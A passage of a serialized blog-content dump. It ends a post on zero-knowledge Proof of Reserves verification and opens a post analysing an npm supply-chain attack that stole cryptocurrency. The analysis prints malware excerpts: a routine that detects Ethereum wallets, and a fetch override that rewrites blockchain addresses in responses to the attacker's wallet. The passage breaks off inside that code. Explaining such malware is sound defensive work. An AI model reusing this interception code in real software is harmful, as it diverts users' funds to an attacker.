verified:",{"type":22,"tag":107,"props":98710,"children":98712},{"code":98711},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[98713],{"type":22,"tag":114,"props":98714,"children":98715},{"__ignoreMap":7},[98716],{"type":28,"value":98711},{"type":22,"tag":1289,"props":98718,"children":98720},{"id":98719},"how-can-i-verify-the-global-proof",[98721],{"type":28,"value":98722},"How can I verify the global proof?",{"type":22,"tag":31,"props":98724,"children":98725},{},[98726],{"type":28,"value":98727},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":22,"tag":4029,"props":98729,"children":98730},{},[98731,98740,98758],{"type":22,"tag":68,"props":98732,"children":98733},{},[98734,98739],{"type":22,"tag":42,"props":98735,"children":98737},{"href":98668,"rel":98736},[46],[98738],{"type":28,"value":98672},{"type":28,"value":292},{"type":22,"tag":68,"props":98741,"children":98742},{},[98743,98745,98750,98751,98756],{"type":28,"value":98744},"Download the ",{"type":22,"tag":114,"props":98746,"children":98748},{"className":98747},[],[98749],{"type":28,"value":98336},{"type":28,"value":39491},{"type":22,"tag":114,"props":98752,"children":98754},{"className":98753},[],[98755],{"type":28,"value":98343},{"type":28,"value":98757}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":22,"tag":68,"props":98759,"children":98760},{},[98761,98763,98768],{"type":28,"value":98762},"Open the terminal and execute ",{"type":22,"tag":114,"props":98764,"children":98766},{"className":98765},[],[98767],{"type":28,"value":98702},{"type":28,"value":98769},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":22,"tag":31,"props":98771,"children":98772},{},[98773],{"type":28,"value":98774},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":22,"tag":107,"props":98776,"children":98778},{"code":98777},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[98779],{"type":22,"tag":114,"props":98780,"children":98781},{"__ignoreMap":7},[98782],{"type":28,"value":98777},{"type":22,"tag":31,"props":98784,"children":98785},{},[98786],{"type":28,"value":98787},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":22,"tag":107,"props":98789,"children":98791},{"code":98790},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[98792],{"type":22,"tag":114,"props":98793,"children":98794},{"__ignoreMap":7},[98795],{"type":28,"value":98790},{"type":22,"tag":23,"props":98797,"children":98798},{"id":30872},[98799],{"type":28,"value":20914},{"type":22,"tag":31,"props":98801,"children":98802},{},[98803],{"type":28,"value":98804},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":22,"tag":31,"props":98806,"children":98807},{},[98808,98810,98816],{"type":28,"value":98809},"We are currently working with Backpack to implement this algorithm ",{"type":22,"tag":42,"props":98811,"children":98813},{"href":98625,"rel":98812},[46],[98814],{"type":28,"value":98815},"in production",{"type":28,"value":98817}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":22,"tag":31,"props":98819,"children":98820},{},[98821,98823,98830],{"type":28,"value":98822},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":22,"tag":42,"props":98824,"children":98827},{"href":98825,"rel":98826},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[46],[98828],{"type":28,"value":98829},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":28,"value":292},{"title":7,"searchDepth":142,"depth":142,"links":98832},[98833,98834,98835,98836,98839,98844,98848,98849,98853],{"id":94082,"depth":142,"text":94085},{"id":94163,"depth":142,"text":94166},{"id":94233,"depth":142,"text":94236},{"id":94287,"depth":142,"text":94290,"children":98837},[98838],{"id":94366,"depth":177,"text":94369},{"id":94454,"depth":142,"text":94457,"children":98840},[98841,98842,98843],{"id":94527,"depth":177,"text":94530},{"id":94999,"depth":177,"text":95002},{"id":96738,"depth":177,"text":96741},{"id":98317,"depth":142,"text":98320,"children":98845},[98846,98847],{"id":11279,"depth":177,"text":98325},{"id":98379,"depth":177,"text":98382},{"id":98509,"depth":142,"text":98512},{"id":98640,"depth":142,"text":98643,"children":98850},[98851,98852],{"id":98651,"depth":177,"text":98654},{"id":98719,"depth":177,"text":98722},{"id":30872,"depth":142,"text":20914},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":98858,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":98859,"description":98860,"date":98861,"author":33139,"image":98862,"isFeatured":15,"onBlogPage":15,"tags":98865,"body":98868,"_type":4896,"_id":101294,"_source":4898,"_file":101295,"_stem":101296,"_extension":4901},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":98863,"width":98864,"height":13},"/posts/supply-chain-attcks/title.png",1536,[98866,98867],"npm","supply-chain",{"type":19,"children":98869,"toc":101277},[98870,98883,98888,98893,98899,98904,98912,99242,99250,99813,99821,100528,100534,100539,100545,100550,100555,100561,100566,100578,100583,100609,100696,100708,100733,100749,100754,100759,100965,101007,101012,101024,101030,101042,101084,101097,101177,101189,101202,101209,101220,101228,101234,101247,101252,101256,101261,101273],{"type":22,"tag":31,"props":98871,"children":98872},{},[98873,98875,98881],{"type":28,"value":98874},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":22,"tag":114,"props":98876,"children":98878},{"className":98877},[],[98879],{"type":28,"value":98880},"chalk",{"type":28,"value":98882},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":22,"tag":31,"props":98884,"children":98885},{},[98886],{"type":28,"value":98887},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":22,"tag":31,"props":98889,"children":98890},{},[98891],{"type":28,"value":98892},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":22,"tag":23,"props":98894,"children":98896},{"id":98895},"qix-malware-how-it-worked",[98897],{"type":28,"value":98898},"Qix Malware: How It Worked",{"type":22,"tag":31,"props":98900,"children":98901},{},[98902],{"type":28,"value":98903},"The attacker published modified versions of packages with code designed to do three things:",{"type":22,"tag":4029,"props":98905,"children":98906},{},[98907],{"type":22,"tag":68,"props":98908,"children":98909},{},[98910],{"type":28,"value":98911},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":22,"tag":107,"props":98913,"children":98915},{"code":98914,"language":33304,"meta":7,"className":33302,"style":7},"async function checkethereumw() {\n  try {\n    const _0x124ed3 = await window.ethereum.request({\n      'method': \"eth_accounts\"\n    });\n    if (_0x124ed3.length > 0) {\n      runmask();\n      if (rund != 1) {\n        rund = 1;\n        neth = 1;\n        newdlocal();\n      }\n    } else if (rund != 1) {\n      rund = 1;\n      newdlocal();\n    }\n  }\n}\n",[98916],{"type":22,"tag":114,"props":98917,"children":98918},{"__ignoreMap":7},[98919,98939,98951,98995,99012,99019,99055,99067,99095,99115,99135,99147,99154,99189,99209,99221,99228,99235],{"type":22,"tag":118,"props":98920,"children":98921},{"class":120,"line":121},[98922,98926,98930,98935],{"type":22,"tag":118,"props":98923,"children":98924},{"style":146},[98925],{"type":28,"value":38086},{"type":22,"tag":118,"props":98927,"children":98928},{"style":146},[98929],{"type":28,"value":40155},{"type":22,"tag":118,"props":98931,"children":98932},{"style":532},[98933],{"type":28,"value":98934}," checkethereumw",{"type":22,"tag":118,"props":98936,"children":98937},{"style":125},[98938],{"type":28,"value":2215},{"type":22,"tag":118,"props":98940,"children":98941},{"class":120,"line":142},[98942,98947],{"type":22,"tag":118,"props":98943,"children":98944},{"style":1480},[98945],{"type":28,"value":98946},"  try",{"type":22,"tag":118,"props":98948,"children":98949},{"style":125},[98950],{"type":28,"value":1474},{"type":22,"tag":118,"props":98952,"children":98953},{"class":120,"line":177},[98954,98958,98963,98967,98971,98975,98979,98983,98987,98991],{"type":22,"tag":118,"props":98955,"children":98956},{"style":146},[98957],{"type":28,"value":53609},{"type":22,"tag":118,"props":98959,"children":98960},{"style":204},[98961],{"type":28,"value":98962}," _0x124ed3",{"type":22,"tag":118,"props":98964,"children":98965},{"style":210},[98966],{"type":28,"value":837},{"type":22,"tag":118,"props":98968,"children":98969},{"style":1480},[98970],{"type":28,"value":38152},{"type":22,"tag":118,"props":98972,"children":98973},{"style":204},[98974],{"type":28,"value":33347},{"type":22,"tag":118,"props":98976,"children":98977},{"style":125},[98978],{"type":28,"value":292},{"type":22,"tag":118,"props":98980,"children":98981},{"style":204},[98982],{"type":28,"value":33356},{"type":22,"tag":118,"props":98984,"children":98985},{"style":125},[98986],{"type":28,"value":292},{"type":22,"tag":118,"props":98988,"children":98989},{"style":532},[98990],{"type":28,"value":33432},{"type":22,"tag":118,"props":98992,"children":98993},{"style":125},[98994],{"type":28,"value":17116},{"type":22,"tag":118,"props":98996,"children":98997},{"class":120,"line":195},[98998,99003,99007],{"type":22,"tag":118,"props":98999,"children":99000},{"style":1866},[99001],{"type":28,"value":99002},"      'method'",{"type":22,"tag":118,"props":99004,"children":99005},{"style":204},[99006],{"type":28,"value":213},{"type":22,"tag":118,"props":99008,"children":99009},{"style":1866},[99010],{"type":28,"value":99011}," \"eth_accounts\"\n",{"type":22,"tag":118,"props":99013,"children":99014},{"class":120,"line":244},[99015],{"type":22,"tag":118,"props":99016,"children":99017},{"style":125},[99018],{"type":28,"value":34195},{"type":22,"tag":118,"props":99020,"children":99021},{"class":120,"line":253},[99022,99026,99030,99035,99039,99043,99047,99051],{"type":22,"tag":118,"props":99023,"children":99024},{"style":1480},[99025],{"type":28,"value":2159},{"type":22,"tag":118,"props":99027,"children":99028},{"style":125},[99029],{"type":28,"value":842},{"type":22,"tag":118,"props":99031,"children":99032},{"style":204},[99033],{"type":28,"value":99034},"_0x124ed3",{"type":22,"tag":118,"props":99036,"children":99037},{"style":125},[99038],{"type":28,"value":292},{"type":22,"tag":118,"props":99040,"children":99041},{"style":204},[99042],{"type":28,"value":10506},{"type":22,"tag":118,"props":99044,"children":99045},{"style":210},[99046],{"type":28,"value":16176},{"type":22,"tag":118,"props":99048,"children":99049},{"style":674},[99050],{"type":28,"value":5074},{"type":22,"tag":118,"props":99052,"children":99053},{"style":125},[99054],{"type":28,"value":16783},{"type":22,"tag":118,"props":99056,"children":99057},{"class":120,"line":263},[99058,99063],{"type":22,"tag":118,"props":99059,"children":99060},{"style":532},[99061],{"type":28,"value":99062},"      runmask",{"type":22,"tag":118,"props":99064,"children":99065},{"style":125},[99066],{"type":28,"value":1098},{"type":22,"tag":118,"props":99068,"children":99069},{"class":120,"line":318},[99070,99074,99078,99083,99087,99091],{"type":22,"tag":118,"props":99071,"children":99072},{"style":1480},[99073],{"type":28,"value":41228},{"type":22,"tag":118,"props":99075,"children":99076},{"style":125},[99077],{"type":28,"value":842},{"type":22,"tag":118,"props":99079,"children":99080},{"style":204},[99081],{"type":28,"value":99082},"rund",{"type":22,"tag":118,"props":99084,"children":99085},{"style":210},[99086],{"type":28,"value":66328},{"type":22,"tag":118,"props":99088,"children":99089},{"style":674},[99090],{"type":28,"value":6535},{"type":22,"tag":118,"props":99092,"children":99093},{"style":125},[99094],{"type":28,"value":16783},{"type":22,"tag":118,"props":99096,"children":99097},{"class":120,"line":351},[99098,99103,99107,99111],{"type":22,"tag":118,"props":99099,"children":99100},{"style":204},[99101],{"type":28,"value":99102},"        rund",{"type":22,"tag":118,"props":99104,"children":99105},{"style":210},[99106],{"type":28,"value":837},{"type":22,"tag":118,"props":99108,"children":99109},{"style":674},[99110],{"type":28,"value":6535},{"type":22,"tag":118,"props":99112,"children":99113},{"style":125},[99114],{"type":28,"value":801},{"type":22,"tag":118,"props":99116,"children":99117},{"class":120,"line":359},[99118,99123,99127,99131],{"type":22,"tag":118,"props":99119,"children":99120},{"style":204},[99121],{"type":28,"value":99122},"        neth",{"type":22,"tag":118,"props":99124,"children":99125},{"style":210},[99126],{"type":28,"value":837},{"type":22,"tag":118,"props":99128,"children":99129},{"style":674},[99130],{"type":28,"value":6535},{"type":22,"tag":118,"props":99132,"children":99133},{"style":125},[99134],{"type":28,"value":801},{"type":22,"tag":118,"props":99136,"children":99137},{"class":120,"line":368},[99138,99143],{"type":22,"tag":118,"props":99139,"children":99140},{"style":532},[99141],{"type":28,"value":99142},"        newdlocal",{"type":22,"tag":118,"props":99144,"children":99145},{"style":125},[99146],{"type":28,"value":1098},{"type":22,"tag":118,"props":99148,"children":99149},{"class":120,"line":384},[99150],{"type":22,"tag":118,"props":99151,"children":99152},{"style":125},[99153],{"type":28,"value":14660},{"type":22,"tag":118,"props":99155,"children":99156},{"class":120,"line":417},[99157,99161,99165,99169,99173,99177,99181,99185],{"type":22,"tag":118,"props":99158,"children":99159},{"style":125},[99160],{"type":28,"value":17746},{"type":22,"tag":118,"props":99162,"children":99163},{"style":1480},[99164],{"type":28,"value":5335},{"type":22,"tag":118,"props":99166,"children":99167},{"style":1480},[99168],{"type":28,"value":17755},{"type":22,"tag":118,"props":99170,"children":99171},{"style":125},[99172],{"type":28,"value":842},{"type":22,"tag":118,"props":99174,"children":99175},{"style":204},[99176],{"type":28,"value":99082},{"type":22,"tag":118,"props":99178,"children":99179},{"style":210},[99180],{"type":28,"value":66328},{"type":22,"tag":118,"props":99182,"children":99183},{"style":674},[99184],{"type":28,"value":6535},{"type":22,"tag":118,"props":99186,"children":99187},{"style":125},[99188],{"type":28,"value":16783},{"type":22,"tag":118,"props":99190,"children":99191},{"class":120,"line":425},[99192,99197,99201,99205],{"type":22,"tag":118,"props":99193,"children":99194},{"style":204},[99195],{"type":28,"value":99196},"      rund",{"type":22,"tag":118,"props":99198,"children":99199},{"style":210},[99200],{"type":28,"value":837},{"type":22,"tag":118,"props":99202,"children":99203},{"style":674},[99204],{"type":28,"value":6535},{"type":22,"tag":118,"props":99206,"children":99207},{"style":125},[99208],{"type":28,"value":801},{"type":22,"tag":118,"props":99210,"children":99211},{"class":120,"line":441},[99212,99217],{"type":22,"tag":118,"props":99213,"children":99214},{"style":532},[99215],{"type":28,"value":99216},"      newdlocal",{"type":22,"tag":118,"props":99218,"children":99219},{"style":125},[99220],{"type":28,"value":1098},{"type":22,"tag":118,"props":99222,"children":99223},{"class":120,"line":475},[99224],{"type":22,"tag":118,"props":99225,"children":99226},{"style":125},[99227],{"type":28,"value":1254},{"type":22,"tag":118,"props":99229,"children":99230},{"class":120,"line":484},[99231],{"type":22,"tag":118,"props":99232,"children":99233},{"style":125},[99234],{"type":28,"value":7881},{"type":22,"tag":118,"props":99236,"children":99237},{"class":120,"line":492},[99238],{"type":22,"tag":118,"props":99239,"children":99240},{"style":125},[99241],{"type":28,"value":481},{"type":22,"tag":4029,"props":99243,"children":99244},{"start":142},[99245],{"type":22,"tag":68,"props":99246,"children":99247},{},[99248],{"type":28,"value":99249},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":22,"tag":107,"props":99251,"children":99253},{"code":99252,"language":33304,"meta":7,"className":33302,"style":7},"fetch = async function (...args) {\n  const originalResponse = await originalFetch.call(this, ...args);\n  const contentType = originalResponse.headers.get('Content-Type') || '';\n  let data;\n  if (contentType.includes('application/json')) {\n    data = await originalResponse.clone().json();\n  } else {\n    data = await originalResponse.clone().text();\n  }\n  const processedData = replaceAddresses(data);\n  const finalResponseText =\n    typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n  const finalResponse = new Response(finalResponseText, {\n    status: originalResponse.status,\n    statusText: originalResponse.statusText,\n    headers: originalResponse.headers,\n  });\n  return finalResponse;\n};\n",[99254],{"type":22,"tag":114,"props":99255,"children":99256},{"__ignoreMap":7},[99257,99292,99349,99411,99426,99463,99502,99517,99556,99563,99596,99612,99671,99709,99734,99759,99783,99791,99806],{"type":22,"tag":118,"props":99258,"children":99259},{"class":120,"line":121},[99260,99264,99268,99272,99276,99280,99284,99288],{"type":22,"tag":118,"props":99261,"children":99262},{"style":532},[99263],{"type":28,"value":36034},{"type":22,"tag":118,"props":99265,"children":99266},{"style":210},[99267],{"type":28,"value":837},{"type":22,"tag":118,"props":99269,"children":99270},{"style":146},[99271],{"type":28,"value":38306},{"type":22,"tag":118,"props":99273,"children":99274},{"style":146},[99275],{"type":28,"value":40155},{"type":22,"tag":118,"props":99277,"children":99278},{"style":125},[99279],{"type":28,"value":842},{"type":22,"tag":118,"props":99281,"children":99282},{"style":210},[99283],{"type":28,"value":11589},{"type":22,"tag":118,"props":99285,"children":99286},{"style":204},[99287],{"type":28,"value":40169},{"type":22,"tag":118,"props":99289,"children":99290},{"style":125},[99291],{"type":28,"value":16783},{"type":22,"tag":118,"props":99293,"children":99294},{"class":120,"line":142},[99295,99299,99304,99308,99312,99317,99321,99325,99329,99333,99337,99341,99345],{"type":22,"tag":118,"props":99296,"children":99297},{"style":146},[99298],{"type":28,"value":38129},{"type":22,"tag":118,"props":99300,"children":99301},{"style":204},[99302],{"type":28,"value":99303}," originalResponse",{"type":22,"tag":118,"props":99305,"children":99306},{"style":210},[99307],{"type":28,"value":837},{"type":22,"tag":118,"props":99309,"children":99310},{"style":1480},[99311],{"type":28,"value":38152},{"type":22,"tag":118,"props":99313,"children":99314},{"style":204},[99315],{"type":28,"value":99316}," originalFetch",{"type":22,"tag":118,"props":99318,"children":99319},{"style":125},[99320],{"type":28,"value":292},{"type":22,"tag":118,"props":99322,"children":99323},{"style":532},[99324],{"type":28,"value":40237},{"type":22,"tag":118,"props":99326,"children":99327},{"style":125},[99328],{"type":28,"value":540},{"type":22,"tag":118,"props":99330,"children":99331},{"style":146},[99332],{"type":28,"value":19658},{"type":22,"tag":118,"props":99334,"children":99335},{"style":125},[99336],{"type":28,"value":231},{"type":22,"tag":118,"props":99338,"children":99339},{"style":210},[99340],{"type":28,"value":11589},{"type":22,"tag":118,"props":99342,"children":99343},{"style":204},[99344],{"type":28,"value":40169},{"type":22,"tag":118,"props":99346,"children":99347},{"style":125},[99348],{"type":28,"value":682},{"type":22,"tag":118,"props":99350,"children":99351},{"class":120,"line":177},[99352,99356,99361,99365,99369,99373,99378,99382,99386,99390,99395,99399,99403,99407],{"type":22,"tag":118,"props":99353,"children":99354},{"style":146},[99355],{"type":28,"value":38129},{"type":22,"tag":118,"props":99357,"children":99358},{"style":204},[99359],{"type":28,"value":99360}," contentType",{"type":22,"tag":118,"props":99362,"children":99363},{"style":210},[99364],{"type":28,"value":837},{"type":22,"tag":118,"props":99366,"children":99367},{"style":204},[99368],{"type":28,"value":99303},{"type":22,"tag":118,"props":99370,"children":99371},{"style":125},[99372],{"type":28,"value":292},{"type":22,"tag":118,"props":99374,"children":99375},{"style":204},[99376],{"type":28,"value":99377},"headers",{"type":22,"tag":118,"props":99379,"children":99380},{"style":125},[99381],{"type":28,"value":292},{"type":22,"tag":118,"props":99383,"children":99384},{"style":532},[99385],{"type":28,"value":1195},{"type":22,"tag":118,"props":99387,"children":99388},{"style":125},[99389],{"type":28,"value":540},{"type":22,"tag":118,"props":99391,"children":99392},{"style":1866},[99393],{"type":28,"value":99394},"'Content-Type'",{"type":22,"tag":118,"props":99396,"children":99397},{"style":125},[99398],{"type":28,"value":588},{"type":22,"tag":118,"props":99400,"children":99401},{"style":210},[99402],{"type":28,"value":24373},{"type":22,"tag":118,"props":99404,"children":99405},{"style":1866},[99406],{"type":28,"value":33778},{"type":22,"tag":118,"props":99408,"children":99409},{"style":125},[99410],{"type":28,"value":801},{"type":22,"tag":118,"props":99412,"children":99413},{"class":120,"line":195},[99414,99418,99422],{"type":22,"tag":118,"props":99415,"children":99416},{"style":146},[99417],{"type":28,"value":9860},{"type":22,"tag":118,"props":99419,"children":99420},{"style":204},[99421],{"type":28,"value":17081},{"type":22,"tag":118,"props":99423,"children":99424},{"style":125},[99425],{"type":28,"value":801},{"type":22,"tag":118,"props":99427,"children":99428},{"class":120,"line":244},[99429,99433,99437,99442,99446,99450,99454,99459],{"type":22,"tag":118,"props":99430,"children":99431},{"style":1480},[99432],{"type":28,"value":33333},{"type":22,"tag":118,"props":99434,"children":99435},{"style":125},[99436],{"type":28,"value":842},{"type":22,"tag":118,"props":99438,"children":99439},{"style":204},[99440],{"type":28,"value":99441},"contentType",{"type":22,"tag":118,"props":99443,"children":99444},{"style":125},[99445],{"type":28,"value":292},{"type":22,"tag":118,"props":99447,"children":99448},{"style":532},[99449],{"type":28,"value":37121},{"type":22,"tag":118,"props":99451,"children":99452},{"style":125},[99453],{"type":28,"value":540},{"type":22,"tag":118,"props":99455,"children":99456},{"style":1866},[99457],{"type":28,"value":99458},"'application/json'",{"type":22,"tag":118,"props":99460,"children":99461},{"style":125},[99462],{"type":28,"value":37134},{"type":22,"tag":118,"props":99464,"children":99465},{"class":120,"line":253},[99466,99470,99474,99478,99482,99486,99490,99494,99498],{"type":22,"tag":118,"props":99467,"children":99468},{"style":204},[99469],{"type":28,"value":45169},{"type":22,"tag":118,"props":99471,"children":99472},{"style":210},[99473],{"type":28,"value":837},{"type":22,"tag":118,"props":99475,"children":99476},{"style":1480},[99477],{"type":28,"value":38152},{"type":22,"tag":118,"props":99479,"children":99480},{"style":204},[99481],{"type":28,"value":99303},{"type":22,"tag":118,"props":99483,"children":99484},{"style":125},[99485],{"type":28,"value":292},{"type":22,"tag":118,"props":99487,"children":99488},{"style":532},[99489],{"type":28,"value":4180},{"type":22,"tag":118,"props":99491,"children":99492},{"style":125},[99493],{"type":28,"value":32106},{"type":22,"tag":118,"props":99495,"children":99496},{"style":532},[99497],{"type":28,"value":35937},{"type":22,"tag":118,"props":99499,"children":99500},{"style":125},[99501],{"type":28,"value":1098},{"type":22,"tag":118,"props":99503,"children":99504},{"class":120,"line":263},[99505,99509,99513],{"type":22,"tag":118,"props":99506,"children":99507},{"style":125},[99508],{"type":28,"value":33407},{"type":22,"tag":118,"props":99510,"children":99511},{"style":1480},[99512],{"type":28,"value":5335},{"type":22,"tag":118,"props":99514,"children":99515},{"style":125},[99516],{"type":28,"value":1474},{"type":22,"tag":118,"props":99518,"children":99519},{"class":120,"line":318},[99520,99524,99528,99532,99536,99540,99544,99548,99552],{"type":22,"tag":118,"props":99521,"children":99522},{"style":204},[99523],{"type":28,"value":45169},{"type":22,"tag":118,"props":99525,"children":99526},{"style":210},[99527],{"type":28,"value":837},{"type":22,"tag":118,"props":99529,"children":99530},{"style":1480},[99531],{"type":28,"value":38152},{"type":22,"tag":118,"props":99533,"children":99534},{"style":204},[99535],{"type":28,"value":99303},{"type":22,"tag":118,"props":99537,"children":99538},{"style":125},[99539],{"type":28,"value":292},{"type":22,"tag":118,"props":99541,"children":99542},{"style":532},[99543],{"type":28,"value":4180},{"type":22,"tag":118,"props":99545,"children":99546},{"style":125},[99547],{"type":28,"value":32106},{"type":22,"tag":118,"props":99549,"children":99550},{"style":532},[99551],{"type":28,"value":28},{"type":22,"tag":118,"props":99553,"children":99554},{"style":125},[99555],{"type":28,"value":1098},{"type":22,"tag":118,"props":99557,"children":99558},{"class":120,"line":351},[99559],{"type":22,"tag":118,"props":99560,"children":99561},{"style":125},[99562],{"type":28,"value":7881},{"type":22,"tag":118,"props":99564,"children":99565},{"class":120,"line":359},[99566,99570,99575,99579,99584,99588,99592],{"type":22,"tag":118,"props":99567,"children":99568},{"style":146},[99569],{"type":28,"value":38129},{"type":22,"tag":118,"props":99571,"children":99572},{"style":204},[99573],{"type":28,"value":99574}," processedData",{"type":22,"tag":118,"props":99576,"children":99577},{"style":210},[99578],{"type":28,"value":837},{"type":22,"tag":118,"props":99580,"children":99581},{"style":532},[99582],{"type":28,"value":99583}," replaceAddresses",{"type":22,"tag":118,"props":99585,"children":99586},{"style":125},[99587],{"type":28,"value":540},{"type":22,"tag":118,"props":99589,"children":99590},{"style":204},[99591],{"type":28,"value":5715},{"type":22,"tag":118,"props":99593,"children":99594},{"style":125},[99595],{"type":28,"value":682},{"type":22,"tag":118,"props":99597,"children":99598},{"class":120,"line":368},[99599,99603,99608],{"type":22,"tag":118,"props":99600,"children":99601},{"style":146},[99602],{"type":28,"value":38129},{"type":22,"tag":118,"props":99604,"children":99605},{"style":204},[99606],{"type":28,"value":99607}," finalResponseText",{"type":22,"tag":118,"props":99609,"children":99610},{"style":210},[99611],{"type":28,"value":37796},{"type":22,"tag":118,"props":99613,"children":99614},{"class":120,"line":384},[99615,99620,99624,99628,99633,99638,99642,99646,99650,99654,99658,99662,99667],{"type":22,"tag":118,"props":99616,"children":99617},{"style":146},[99618],{"type":28,"value":99619},"    typeof",{"type":22,"tag":118,"props":99621,"children":99622},{"style":204},[99623],{"type":28,"value":99574},{"type":22,"tag":118,"props":99625,"children":99626},{"style":210},[99627],{"type":28,"value":33361},{"type":22,"tag":118,"props":99629,"children":99630},{"style":1866},[99631],{"type":28,"value":99632}," 'string'",{"type":22,"tag":118,"props":99634,"children":99635},{"style":210},[99636],{"type":28,"value":99637}," ?",{"type":22,"tag":118,"props":99639,"children":99640},{"style":204},[99641],{"type":28,"value":99574},{"type":22,"tag":118,"props":99643,"children":99644},{"style":210},[99645],{"type":28,"value":37056},{"type":22,"tag":118,"props":99647,"children":99648},{"style":204},[99649],{"type":28,"value":39469},{"type":22,"tag":118,"props":99651,"children":99652},{"style":125},[99653],{"type":28,"value":292},{"type":22,"tag":118,"props":99655,"children":99656},{"style":532},[99657],{"type":28,"value":41174},{"type":22,"tag":118,"props":99659,"children":99660},{"style":125},[99661],{"type":28,"value":540},{"type":22,"tag":118,"props":99663,"children":99664},{"style":204},[99665],{"type":28,"value":99666},"processedData",{"type":22,"tag":118,"props":99668,"children":99669},{"style":125},[99670],{"type":28,"value":682},{"type":22,"tag":118,"props":99672,"children":99673},{"class":120,"line":417},[99674,99678,99683,99687,99691,99696,99700,99705],{"type":22,"tag":118,"props":99675,"children":99676},{"style":146},[99677],{"type":28,"value":38129},{"type":22,"tag":118,"props":99679,"children":99680},{"style":204},[99681],{"type":28,"value":99682}," finalResponse",{"type":22,"tag":118,"props":99684,"children":99685},{"style":210},[99686],{"type":28,"value":837},{"type":22,"tag":118,"props":99688,"children":99689},{"style":146},[99690],{"type":28,"value":3442},{"type":22,"tag":118,"props":99692,"children":99693},{"style":532},[99694],{"type":28,"value":99695}," Response",{"type":22,"tag":118,"props":99697,"children":99698},{"style":125},[99699],{"type":28,"value":540},{"type":22,"tag":118,"props":99701,"children":99702},{"style":204},[99703],{"type":28,"value":99704},"finalResponseText",{"type":22,"tag":118,"props":99706,"children":99707},{"style":125},[99708],{"type":28,"value":50822},{"type":22,"tag":118,"props":99710,"children":99711},{"class":120,"line":425},[99712,99717,99721,99725,99730],{"type":22,"tag":118,"props":99713,"children":99714},{"style":204},[99715],{"type":28,"value":99716},"    